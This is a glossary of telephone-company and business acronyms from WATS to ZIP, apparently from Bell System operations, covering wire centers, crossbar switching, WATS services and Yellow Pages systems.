WATS (3) Wide Area Telephone Service
Wide Area Telecommunications Service
Wide Area Transport Service
WATS-PL (2) Wide Area Telephone Service-Price Indexes
Wide Area Telephone Service Price Index
WBE Woman Business Enterprises
WC Wire Center
WCAR Wire Center Assignment Request
WCAS Work Center Administration System
WCFC Wire Center Planning Center
WCID Wire Center Identification
WCMF Wire Center Market Forecasting
WCO WATS Serving Office
WCPC Wire Center Planning Center
WD (2) Wideband Digital
Wideband Data
WDM Wave Division Multiplexing
WECA Washington Exchange Carrier Association
WECAN Class W Economics Analysis
WECO Western Electric Company
WFA Work Force Administration
WFEG WATS Front End Guiding
WIP Western Electric Company Billing
WIS WATS Information System
WM Work Manager
WMAR Weekly Machine Administrative Report
WOAR Written Off Account Report
WORCS Work Organizing Reporting and Coordination System
WORD Work Order Record and Details
WOT Wire and Office Tested
WP (2) Word Processing
Work Package
WPB White Pages Book
WPM Words Per Minute
WPS Word Processing System
WRPM WATS Rate Planning Model
WRR Wideband Regenerative Repeater
WRS Work Relationships Survey
WRSSAMP-ANAL Work Relationship Analysis Sample
WS/MVP Work Station/Multiple Vendor Product
WS/PC Work Station/Personal Computer
WSN Wang System Network
WSP Wiring Specifications Table
WSQ WATS Serving Office
WTN Working Telephone Number
WTR Weekly Time Reporting
WTR-MAS Weekly Time Reporting-Management Accting Indexes
WU/PU Work Unit/Plan
WY Wyoming
WYSIWYG What You See Is What You Get
X-BAR Cross Bar
XA Extended Architecture
XB Crossbar (or XBR)
XBR Crossbar (or XB)
XBT Crossbar Tandem
XCD (2) Cross-Connect Device (or CCD)
Extended Circuit Details
XD Cancel Disconnect
XF Cancel First Choice (Not Available)
XL Cancel Long-Lead Connect
XN Cancel Connect
YPOL Yellow Pages On-Line
YPS Yellow Pages System
YPSC Yellow Pages Sales Commissions
YPST Yellow Pages Sales Commission
ZIP Zero Interval Provisioning
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